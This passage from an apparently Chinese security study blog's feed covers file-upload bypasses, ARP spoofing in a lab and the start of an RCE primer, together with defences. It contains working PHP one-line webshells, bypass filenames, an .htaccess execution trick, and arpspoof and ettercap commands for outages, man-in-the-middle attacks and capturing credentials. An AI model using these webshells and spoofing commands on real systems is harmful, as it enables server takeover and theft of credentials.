.user.ini</span></div></div><div><div><div>21</div></div><div><span><span>       </span></span><span>├── 双写绕过</span></div></div><div><div><div>22</div></div><div><span><span>       </span></span><span>└── NULL 截断</span></div></div><div><div><div>23</div></div><div><span><span>         </span></span><span>↓</span></div></div><div><div><div>24</div></div><div><span>4. 确认上传成功且可执行</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h3>4.2 URL Fuzz 找上传点<a href="#42-url-fuzz-找上传点"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 常见上传路径</span></div></div><div><div><div>2</div></div><div><span>http://xxx.com/upload.php</span></div></div><div><div><div>3</div></div><div><span>http://xxx.com/uploadfile.php</span></div></div><div><div><div>4</div></div><div><span>http://xxx.com/uploaddoc.php</span></div></div><div><div><div>5</div></div><div><span>http://xxx.com/fileupload.php</span></div></div><div><div><div>6</div></div><div><span>http://xxx.com/upload.jsp</span></div></div><div><div><div>7</div></div><div><span>http://xxx.com/upfile.php</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>五、WebShell 权限<a href="#五webshell-权限"><span>#</span></a></h2><section><h3>5.1 权限来源<a href="#51-权限来源"><span>#</span></a></h3><p>Webshell 由 PHP 解析器执行，权限取决于 PHP 解析器的运行方式。</p>

<table><thead><tr><th>运行方式</th><th>权限来源</th></tr></thead><tbody><tr><td><strong>Apache + PHP 模块</strong></td><td>Apache 进程权限</td></tr><tr><td><strong>Nginx + PHP-FPM</strong></td><td>PHP-FPM 服务运行用户权限</td></tr></tbody></table></section><section><h3>5.2 权限提升思路<a href="#52-权限提升思路"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 利用系统漏洞提权</span></div></div><div><div><div>2</div></div><div><span>2. 利用配置错误（如 sudo 配置不当）</span></div></div><div><div><div>3</div></div><div><span>3. 利用敏感文件获取凭证</span></div></div><div><div><div>4</div></div><div><span>4. 利用 SUID 文件</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>六、条件竞争<a href="#六条件竞争"><span>#</span></a></h2><section><h3>6.1 原理<a href="#61-原理"><span>#</span></a></h3><p>文件先被保存到服务器，再进行安全检查（如扫描病毒、检查内容）。攻击者利用检查完成前的时间差执行恶意代码。</p></section><section><h3>6.2 利用方式<a href="#62-利用方式"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 持续上传恶意文件</span></div></div><div><div><div>2</div></div><div><span>2. 同时持续访问该文件</span></div></div><div><div><div>3</div></div><div><span>3. 在检查完成前触发执行</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>七、防御措施<a href="#七防御措施"><span>#</span></a></h2><section><h3>7.1 服务端防御<a href="#71-服务端防御"><span>#</span></a></h3>

<table><thead><tr><th>措施</th><th>说明</th></tr></thead><tbody><tr><td><strong>白名单</strong></td><td>只允许指定扩展名（推荐）</td></tr><tr><td><strong>重命名文件</strong></td><td>使用随机字符串重命名，不暴露扩展名</td></tr><tr><td><strong>限制目录权限</strong></td><td>上传目录禁止执行 PHP</td></tr><tr><td><strong>内容检查</strong></td><td>检查文件内容是否包含恶意代码</td></tr><tr><td><strong>二次渲染</strong></td><td>对图片重新生成，去除恶意代码</td></tr><tr><td><strong>限制大小</strong></td><td>限制上传文件大小</td></tr><tr><td><strong>限制 MIME</strong></td><td>校验 MIME 类型</td></tr></tbody></table></section><section><h3>7.2 Nginx 配置示例<a href="#72-nginx-配置示例"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 禁止解析上传目录中的 PHP</span></div></div><div><div><div>2</div></div><div><span>location</span><span> /uploads/ {</span></div></div><div><div><div>3</div></div><div><span>    </span><span>location</span><span> ~ </span><span>.*\.(php|php5)?$ </span><span>{</span></div></div><div><div><div>4</div></div><div><span>       <span> </span></span><span>deny </span><span>all</span><span>;</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>7.3 Apache 配置示例<a href="#73-apache-配置示例"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 禁止解析上传目录中的 PHP</span></div></div><div><div><div>2</div></div><div><span>&lt;Directory /var/www/html/uploads&gt;</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>php_flag engine off</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>AddType text/plain .php .php5 .phtml</span></div></div><div><div><div>5</div></div><div><span>&lt;/Directory&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>📌 快速参考卡片<a href="#-快速参考卡片"><span>#</span></a></h2><section><h3>测试 Payload<a href="#测试-payload"><span>#</span></a></h3><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 测试上传</span></div></div><div><div><div>2</div></div><div><span>shell.php</span></div></div><div><div><div>3</div></div><div><span>shell.pHp</span></div></div><div><div><div>4</div></div><div><span>shell.php3</span></div></div><div><div><div>5</div></div><div><span>shell.php5</span></div></div><div><div><div>6</div></div><div><span>shell.phtml</span></div></div><div><div><div>7</div></div><div><span>shell.jpg.php</span></div></div><div><div><div>8</div></div><div><span>shell.php.</span></div></div><div><div><div>9</div></div><div><span>shell.php%00.jpg</span></div></div><div><div><div>10</div></div><div><span>shell.php::$DATA</span></div></div><div><div><div>11</div></div><div><span>shell.pphphp</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span># 图片马生成</span></div></div><div><div><div>14</div></div><div><span>copy</span><span> </span><span>0.jpg</span><span> </span><span>/b</span><span> </span><span>+</span><span> </span><span>shell.php</span><span> </span><span>/a</span><span> </span><span>shell.jpg</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span># .htaccess</span></div></div><div><div><div>17</div></div><div><span>AddType</span><span> </span><span>application/x-httpd-php</span><span> </span><span>.jpg</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h3>判断黑白名单<a href="#判断黑白名单"><span>#</span></a></h3>

<table><thead><tr><th>方法</th><th>操作</th></tr></thead><tbody><tr><td>上传 <code>.txt</code></td><td>成功 → 黑名单，失败 → 白名单</td></tr><tr><td>上传 <code>.php</code></td><td>失败 → 黑名单或白名单限制</td></tr><tr><td>上传 <code>.php3</code></td><td>成功 → 黑名单不完整</td></tr><tr><td>上传 <code>.jpg.php</code></td><td>成功 → 仅检查后缀名</td></tr></tbody></table></section><section><h3>目录权限<a href="#目录权限"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>/uploads/ 目录应禁止执行 PHP 文件</span></div></div><div><div><div>2</div></div><div><span>配置：php_flag engine off</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>一句话木马<a href="#一句话木马"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span><span><span> </span><span>@</span></span><span>eval</span><span>(</span><span>$_POST</span><span>[</span><span>'cmd'</span><span><span>]); </span><span>?</span><span>&gt;</span></span></div></div><div><div><div>2</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span><span> </span><span>system</span><span>(</span><span>$_GET</span><span>[</span><span>'c'</span><span><span>]); </span><span>?</span><span>&gt;</span></span></div></div><div><div><div>3</div></div><div><span><span>&lt;</span><span>?</span><span>=</span><span> </span><span>@</span></span><span>eval</span><span>(</span><span>$_POST</span><span>[</span><span>'cmd'</span><span><span>]); </span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>图片马代码<a href="#图片马代码"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// 隐藏在一张图片末尾</span></div></div><div><div><div>2</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span><span><span> </span><span>@</span></span><span>eval</span><span>(</span><span>$_POST</span><span>[</span><span>'cmd'</span><span><span>]); </span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/arp-and-arp-spoofing/</id>
      <title type="text">ARP 协议与 ARP 欺骗</title>
      <published>2026-09-18T14:49:00.000Z</published>
      <updated>2026-09-18T14:49:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/arp-and-arp-spoofing/"/>
      <summary type="text">从 OSI 七层、MAC 地址讲到 ARP 欺骗的原理、复现步骤与局域网防御方法。</summary>
      <content type="html"><![CDATA[<section><h2>一、网络基础<a href="#一网络基础"><span>#</span></a></h2><section><h3>1.1 OSI 七层模型<a href="#11-osi-七层模型"><span>#</span></a></h3>

<table><thead><tr><th>层级</th><th>名称</th><th>作用</th></tr></thead><tbody><tr><td>7</td><td><strong>应用层</strong></td><td>为用户提供网络服务（HTTP、FTP、SMTP等）</td></tr><tr><td>6</td><td><strong>表示层</strong></td><td>数据格式转换、加密、压缩</td></tr><tr><td>5</td><td><strong>会话层</strong></td><td>建立、管理和终止通信会话</td></tr><tr><td>4</td><td><strong>传输层</strong></td><td>端到端数据传输（TCP/UDP），负责可靠传输</td></tr><tr><td>3</td><td><strong>网络层</strong></td><td>地址管理和路由选择（IP协议）</td></tr><tr><td>2</td><td><strong>数据链路层</strong></td><td>在互连设备之间传送数据帧，MAC地址工作在此层</td></tr><tr><td>1</td><td><strong>物理层</strong></td><td>为数据传输提供物理链路（网线、光纤等）</td></tr></tbody></table></section><section><h3>1.2 TCP/IP 四层模型<a href="#12-tcpip-四层模型"><span>#</span></a></h3>

<table><thead><tr><th>层级</th><th>对应 OSI</th><th>说明</th></tr></thead><tbody><tr><td><strong>应用层</strong></td><td>应用层 + 表示层 + 会话层</td><td>HTTP、FTP、DNS、SMTP</td></tr><tr><td><strong>传输层</strong></td><td>传输层</td><td>TCP、UDP</td></tr><tr><td><strong>网际层</strong></td><td>网络层</td><td>IP、ICMP、ARP</td></tr><tr><td><strong>网络接口层</strong></td><td>数据链路层 + 物理层</td><td>以太网、WiFi</td></tr></tbody></table><hr /></section></section>
<section><h2>二、MAC 地址<a href="#二mac-地址"><span>#</span></a></h2><section><h3>2.1 什么是 MAC 地址？<a href="#21-什么是-mac-地址"><span>#</span></a></h3>

<table><thead><tr><th>属性</th><th>说明</th></tr></thead><tbody><tr><td>全称</td><td>媒体访问控制地址（Media Access Control Address）</td></tr><tr><td>长度</td><td>12 位十六进制数字，占用 <strong>48 bits</strong></td></tr><tr><td>格式</td><td><code>00-50-56-C0-00-01</code> 或 <code>00:50:56:C0:00:01</code></td></tr><tr><td>特点</td><td>全球唯一，固化在网卡中</td></tr><tr><td>查看命令</td><td>Windows：<code>ipconfig /all</code></td></tr></tbody></table></section><section><h3>2.2 MAC 地址的作用<a href="#22-mac-地址的作用"><span>#</span></a></h3><ul>
<li>在<strong>数据链路层</strong>唯一标识网络设备</li>
<li>用于同一链路（局域网）内的设备通信</li>
<li>交换机依据 MAC 地址转发数据帧</li>
</ul><hr /></section></section>
<section><h2>三、ARP 协议<a href="#三arp-协议"><span>#</span></a></h2><section><h3>3.1 什么是 ARP？<a href="#31-什么是-arp"><span>#</span></a></h3><p><strong>ARP</strong>（Address Resolution Protocol，地址解析协议）的功能是<strong>将 IP 地址转换成 MAC 地址</strong>。</p></section><section><h3>3.2 为什么需要 ARP？<a href="#32-为什么需要-arp"><span>#</span></a></h3><ul>
<li>网络层使用 <strong>IP 地址</strong> 标识主机</li>
<li>数据链路层使用 <strong>MAC 地址</strong> 传输数据帧</li>
<li>需要一种机制将 IP 地址映射到 MAC 地址 → <strong>ARP 协议</strong></li>
</ul></section><section><h3>3.3 正常 ARP 工作流程<a href="#33-正常-arp-工作流程"><span>#</span></a></h3><p>假设：主机 A（192.168.1.2）想与主机 B（192.168.1.3）通信。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>步骤 1：主机 A 检查本地 ARP 缓存表</span></div></div><div><div><div>2</div></div><div><span><span>        </span></span><span>↓ 没有主机 B 的 MAC 地址</span></div></div><div><div><div>3</div></div><div><span>步骤 2：主机 A 发送 ARP 请求包（广播）</span></div></div><div><div><div>4</div></div><div><span><span>        </span></span><span>问："谁的 IP 是 192.168.1.3？请告诉我你的 MAC 地址"</span></div></div><div><div><div>5</div></div><div><span><span>        </span></span><span>↓ 同一链路所有主机都收到</span></div></div><div><div><div>6</div></div><div><span>步骤 3：主机 B 检查目标 IP 是自己的</span></div></div><div><div><div>7</div></div><div><span><span>        </span></span><span>主机 B 发送 ARP 响应包（单播）</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>答："我是 192.168.1.3，我的 MAC 是 00-11-22-33-44-55"</span></div></div><div><div><div>9</div></div><div><span><span>        </span></span><span>↓</span></div></div><div><div><div>10</div></div><div><span>步骤 4：主机 A 收到响应，更新 ARP 缓存表</span></div></div><div><div><div>11</div></div><div><span><span>        </span></span><span>开始通信</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.4 ARP 缓存表<a href="#34-arp-缓存表"><span>#</span></a></h3><p>为了减少 ARP 查询产生的网络流量，主机将 ARP 映射结果<strong>缓存</strong>在本地。</p>

<table><thead><tr><th>命令</th><th>作用</th></tr></thead><tbody><tr><td><code>arp -a</code></td><td>查看 ARP 缓存表</td></tr><tr><td><code>arp -d</code></td><td>删除 ARP 缓存（需管理员权限）</td></tr></tbody></table><p><strong>ARP 缓存有生存周期</strong>，超时后会重新查询。</p><hr /></section></section>
<section><h2>四、ARP 攻击原理<a href="#四arp-攻击原理"><span>#</span></a></h2><section><h3>4.1 核心缺陷<a href="#41-核心缺陷"><span>#</span></a></h3><p><strong>ARP 协议无身份验证机制</strong>：主机收到 ARP 响应包后，无条件信任并更新缓存表。</p></section><section><h3>4.2 攻击场景<a href="#42-攻击场景"><span>#</span></a></h3><p>网络中有 A、B、C 三台主机，A 与 B 正常通信，<strong>主机 C（攻击者）</strong> 实施 ARP 欺骗。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>步骤 1：主机 C 给主机 A 发送 ARP 响应包</span></div></div><div><div><div>2</div></div><div><span><span>        </span></span><span>伪造："主机 B 的 IP 对应主机 C 的 MAC"</span></div></div><div><div><div>3</div></div><div><span><span>        </span></span><span>↓</span></div></div><div><div><div>4</div></div><div><span>步骤 2：主机 A 收到后，更新 ARP 缓存表</span></div></div><div><div><div>5</div></div><div><span><span>        </span></span><span>将主机 B 的 IP 映射到主机 C 的 MAC</span></div></div><div><div><div>6</div></div><div><span><span>        </span></span><span>↓</span></div></div><div><div><div>7</div></div><div><span>步骤 3：主机 A 发往主机 B 的数据包，实际发给了主机 C</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>↓</span></div></div><div><div><div>9</div></div><div><span>步骤 4：主机 C 可以选择：</span></div></div><div><div><div>10</div></div><div><span><span>        </span></span><span>├── 不转发 → 主机 A 和 B 通信中断（断网攻击）</span></div></div><div><div><div>11</div></div><div><span><span>        </span></span><span>└── 转发数据包 → 中间人攻击（窃听通信内容）</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>4.3 攻击本质<a href="#43-攻击本质"><span>#</span></a></h3><p><strong>假冒”我是谁”</strong>
攻击者 MAC 地址 = 我（攻击者）
被冒充者 IP 地址 = 谁（目标 IP）</p><hr /></section></section>
<section><h2>五、ARP 攻击的危害<a href="#五arp-攻击的危害"><span>#</span></a></h2>

<table><thead><tr><th>攻击类型</th><th>说明</th></tr></thead><tbody><tr><td><strong>ARP 泛洪攻击</strong></td><td>向网关发送大量 ARP 报文，导致网关无法正常响应</td></tr><tr><td><strong>断网攻击</strong></td><td>欺骗目标主机，让目标主机找不到网关，无法上网</td></tr><tr><td><strong>中间人攻击（MITM）</strong></td><td>同时欺骗目标主机和网关，实现流量劫持和窃听</td></tr><tr><td><strong>欺骗普通主机</strong></td><td>冒充其他主机的 MAC 身份</td></tr><tr><td><strong>欺骗网关</strong></td><td>让网关误认为攻击者就是目标主机</td></tr></tbody></table><hr /></section>
<section><h2>六、ARP 攻击复现<a href="#六arp-攻击复现"><span>#</span></a></h2><section><h3>6.1 实验环境<a href="#61-实验环境"><span>#</span></a></h3>

<table><thead><tr><th>角色</th><th>IP 地址</th><th>系统</th></tr></thead><tbody><tr><td>攻击机</td><td>192.168.3.128</td><td>Kali Linux</td></tr><tr><td>受害机</td><td>192.168.3.155</td><td>Ubuntu 靶机</td></tr><tr><td>网关</td><td>192.168.3.1</td><td>Windows</td></tr></tbody></table></section><section><h3>6.2 工具<a href="#62-工具"><span>#</span></a></h3><ul>
<li><strong>arpspoof</strong>：Kali 内置，用于发送 ARP 欺骗包</li>
<li><strong>Wireshark</strong>：抓包分析</li>
<li><strong>ettercap</strong>：中间人攻击 + 敏感数据窃取</li>
</ul></section><section><h3>6.3 攻击1：断网攻击<a href="#63-攻击1断网攻击"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 语法：arpspoof -i 网卡 -t 目标IP 网关IP</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span># 告诉目标主机：我是网关（让目标主机把流量发给攻击者）</span></div></div><div><div><div>4</div></div><div><span>sudo</span><span> </span><span>arpspoof</span><span> </span><span>-i</span><span> </span><span>eth0</span><span> </span><span>-t</span><span> </span><span>192.168.3.155</span><span> </span><span>192.168.3.1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>效果：</strong> 受害主机无法上网（因为流量被引向攻击者，但攻击者未开启转发）。</p><p><strong>停止：</strong> <code>Ctrl + C</code> 停止 arpspoof，受害机恢复网络。</p></section><section><h3>6.4 攻击2：中间人攻击（MITM）<a href="#64-攻击2中间人攻击mitm"><span>#</span></a></h3><section><h4>步骤1：开启 IP 转发<a href="#步骤1开启-ip-转发"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 让 Kali 能够转发接收到的数据包</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>echo</span><span> </span><span>1</span><span> &gt; </span><span>/proc/sys/net/ipv4/ip_forward</span></div></div></code></pre><div><div></div><div></div></div></figure></div>

<table><thead><tr><th>值</th><th>含义</th></tr></thead><tbody><tr><td>0</td><td>IP 转发关闭（默认）</td></tr><tr><td>1</td><td>IP 转发开启</td></tr></tbody></table></section><section><h4>步骤2：欺骗目标主机<a href="#步骤2欺骗目标主机"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 让目标主机认为 Kali 是网关（正向欺骗）</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>arpspoof</span><span> </span><span>-i</span><span> </span><span>eth0</span><span> </span><span>-t</span><span> </span><span>192.168.3.155</span><span> </span><span>192.168.3.1</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>步骤3：欺骗网关<a href="#步骤3欺骗网关"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 让网关认为 Kali 是目标主机（反向欺骗）</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>arpspoof</span><span> </span><span>-i</span><span> </span><span>eth0</span><span> </span><span>-t</span><span> </span><span>192.168.3.1</span><span> </span><span>192.168.3.155</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>流量路径<a href="#流量路径"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>请求方向：</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>受害机（155）→ Kali（128）→ 网关（1）→ 互联网</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>响应方向：</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>互联网 → 网关（1）→ Kali（128）→ 受害机（155）</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>步骤4：使用 Wireshark 抓包验证<a href="#步骤4使用-wireshark-抓包验证"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 启动 Wireshark，选择 eth0 网卡</span></div></div><div><div><div>2</div></div><div><span># 在受害机上 ping Ubuntu 靶机（192.168.3.141）</span></div></div><div><div><div>3</div></div><div><span># 在 Wireshark 中看到 ICMP 包 → 流量经过 Kali，验证成功</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3>6.5 使用 Ettercap 窃取敏感数据<a href="#65-使用-ettercap-窃取敏感数据"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 启动 Ettercap（图形界面）</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>ettercap</span><span> </span><span>-G</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>操作流程：</strong></p><ol>
<li>选择网卡（eth0）</li>
<li>扫描主机（Scan for hosts）</li>
<li>添加目标（目标主机和网关）</li>
<li>启用 ARP 欺骗（Mitm → ARP poisoning）</li>
<li>开始嗅探（Start → Start sniffing）</li>
</ol><p><strong>效果：</strong> 受害机登录 HTTP 网站时，用户名/密码会被 Ettercap 捕获显示。</p><hr /></section></section>
<section><h2>七、ARP 防御<a href="#七arp-防御"><span>#</span></a></h2><section><h3>7.1 主机级被动检测<a href="#71-主机级被动检测"><span>#</span></a></h3><p>当主机收到 ARP 响应包时，检查发送端 IP 地址是否与自己的 IP 地址相同。如果相同，说明局域网内有另一台主机冒充自己。</p></section><section><h3>7.2 主机级主动检测<a href="#72-主机级主动检测"><span>#</span></a></h3><p>主机定期向局域网发送查询自己 IP 地址的 ARP 请求。如果收到另一台主机的响应，说明存在 IP 冲突（ARP 欺骗）。</p></section><section><h3>7.3 服务器级检测<a href="#73-服务器级检测"><span>#</span></a></h3><p>收到 ARP 响应后，使用 RARP（反向地址解析协议）从 MAC 地址反查 IP 地址，比较两个 IP 是否一致。</p></section><section><h3>7.4 网络级检测<a href="#74-网络级检测"><span>#</span></a></h3><p>主机定期向中心管理主机报告 ARP 缓存内容，中心主机检查：</p><ul>
<li>不同主机报告信息是否一致</li>
<li>同一主机前后报告内容是否变化</li>
</ul></section><section><h3>7.5 常见防御措施<a href="#75-常见防御措施"><span>#</span></a></h3>

<table><thead><tr><th>措施</th><th>说明</th></tr></thead><tbody><tr><td><strong>IP-MAC 静态绑定</strong></td><td>在主机和交换机上绑定 IP 和 MAC 的对应关系</td></tr><tr><td><strong>交换机端口安全</strong></td><td>限制端口允许的 MAC 地址数量</td></tr><tr><td><strong>启用 ARP 防护</strong></td><td>在主机或交换机上开启 ARP 攻击防护功能</td></tr><tr><td><strong>使用 VPN</strong></td><td>加密通信，防止数据被窃听</td></tr><tr><td><strong>使用 HTTPS</strong></td><td>加密 HTTP 通信，防止敏感信息泄露</td></tr></tbody></table></section><section><h3>7.6 Windows 静态绑定<a href="#76-windows-静态绑定"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 查看 ARP 缓存</span></div></div><div><div><div>2</div></div><div><span>arp -a</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 静态绑定 IP-MAC</span></div></div><div><div><div>5</div></div><div><span>arp -s 192.168.1.1 00-11-22-33-44-55</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 删除静态绑定</span></div></div><div><div><div>8</div></div><div><span>arp -d 192.168.1.1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>📌 快速参考卡片<a href="#-快速参考卡片"><span>#</span></a></h2><section><h3>协议分层速记<a href="#协议分层速记"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>OSI 七层（从下往上）：</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>物理层 → 数据链路层 → 网络层 → 传输层 → 会话层 → 表示层 → 应用层</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>口诀：物数网传会表应</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>ARP 攻击命令<a href="#arp-攻击命令"><span>#</span></a></h3><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 断网攻击</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>arpspoof</span><span> </span><span>-i</span><span> </span><span>eth0</span><span> </span><span>-t</span><span> </span><span>目标IP</span><span> </span><span>网关IP</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 中间人攻击（双向欺骗）</span></div></div><div><div><div>5</div></div><div><span>sudo</span><span> </span><span>echo</span><span> </span><span>1</span><span> &gt; </span><span>/proc/sys/net/ipv4/ip_forward</span><span>          </span><span># 开启转发</span></div></div><div><div><div>6</div></div><div><span>sudo</span><span> </span><span>arpspoof</span><span> </span><span>-i</span><span> </span><span>eth0</span><span> </span><span>-t</span><span> </span><span>目标IP</span><span> </span><span>网关IP</span><span>               </span><span># 欺骗目标</span></div></div><div><div><div>7</div></div><div><span>sudo</span><span> </span><span>arpspoof</span><span> </span><span>-i</span><span> </span><span>eth0</span><span> </span><span>-t</span><span> </span><span>网关IP</span><span> </span><span>目标IP</span><span>               </span><span># 欺骗网关</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span># 查看 ARP 缓存（Windows/Linux）</span></div></div><div><div><div>10</div></div><div><span>arp</span><span> </span><span>-a</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span># 清除 ARP 缓存（需管理员）</span></div></div><div><div><div>13</div></div><div><span>arp</span><span> </span><span>-d</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span># 启动 Ettercap 图形界面</span></div></div><div><div><div>16</div></div><div><span>sudo</span><span> </span><span>ettercap</span><span> </span><span>-G</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h3>ARP 攻击流程<a href="#arp-攻击流程"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 确定目标 IP 和网关 IP</span></div></div><div><div><div>2</div></div><div><span>2. 开启 IP 转发（中间人模式）</span></div></div><div><div><div>3</div></div><div><span>3. arpspoof 欺骗目标主机（我是网关）</span></div></div><div><div><div>4</div></div><div><span>4. arpspoof 欺骗网关（我是目标）</span></div></div><div><div><div>5</div></div><div><span>5. 用 Wireshark 或 Ettercap 抓取流量</span></div></div><div><div><div>6</div></div><div><span>6. 分析数据，提取敏感信息</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>防御要点<a href="#防御要点"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>✅ IP-MAC 静态绑定</span></div></div><div><div><div>2</div></div><div><span>✅ 交换机端口安全</span></div></div><div><div><div>3</div></div><div><span>✅ 使用 HTTPS 加密通信</span></div></div><div><div><div>4</div></div><div><span>✅ 启用 ARP 防护功能</span></div></div><div><div><div>5</div></div><div><span>✅ 定期监控 ARP 缓存变化</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/rce/</id>
      <title type="text">RCE 远程命令执行</title>
      <published>2026-09-17T14:47:00.000Z</published>
      <updated>2026-09-17T14:47:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/rce/"/>
      <summary type="text">代码执行与命令执行的常见入口、绕过技巧与防御要点。</summary>
      <content type="html"><![CDATA[<section><h2>一、RCE 概述<a href="#一rce-概述"><span>#</span></a></h2><section><h3>1.1 什么是 RCE？<a href="#11-什么是-rce"><span>#</span></a></h3><p><strong>RCE</strong>（Remote Code/Command Execution，<strong>远程代码/命令执行</strong>）属于<strong>注入漏洞</strong>的一种。前端构造的恶意代码片段被后端当作命令或代码执行。</p><p>RCE 分为两种类型：</p>

<table><thead><tr><th>类型</th><th>说明</th></tr></thead><tbody><tr><td><strong>代码执行</strong></td><td>通过危险函数执行 PHP 代码（如 <code>eval()</code>、<code>assert()</code>）</td></tr><tr><td><strong>命令执行</strong></td><td>通过危险函数执行系统命令（如 <code>system()</code>、<code>exec()</code>）</td></tr></tbody></table></section><section><h3>1.2 RCE 的危害<a href="#12-rce-的危害"><span>#</span></a></h3><p><strong>技术层面：</strong></p><ul>
<li>造成任意命令/代码执行</li>
<li>受害服务器可能被完全控制</li>
</ul><p><strong>具体影响：</strong></p><ul>
<li>网站被控制</li>
<li>信息泄露</li>
<li>挖矿</li>
<li>首页被篡改</li>
<li>服务器负载增加</li>
<li>服务器被加入僵尸网络</li>
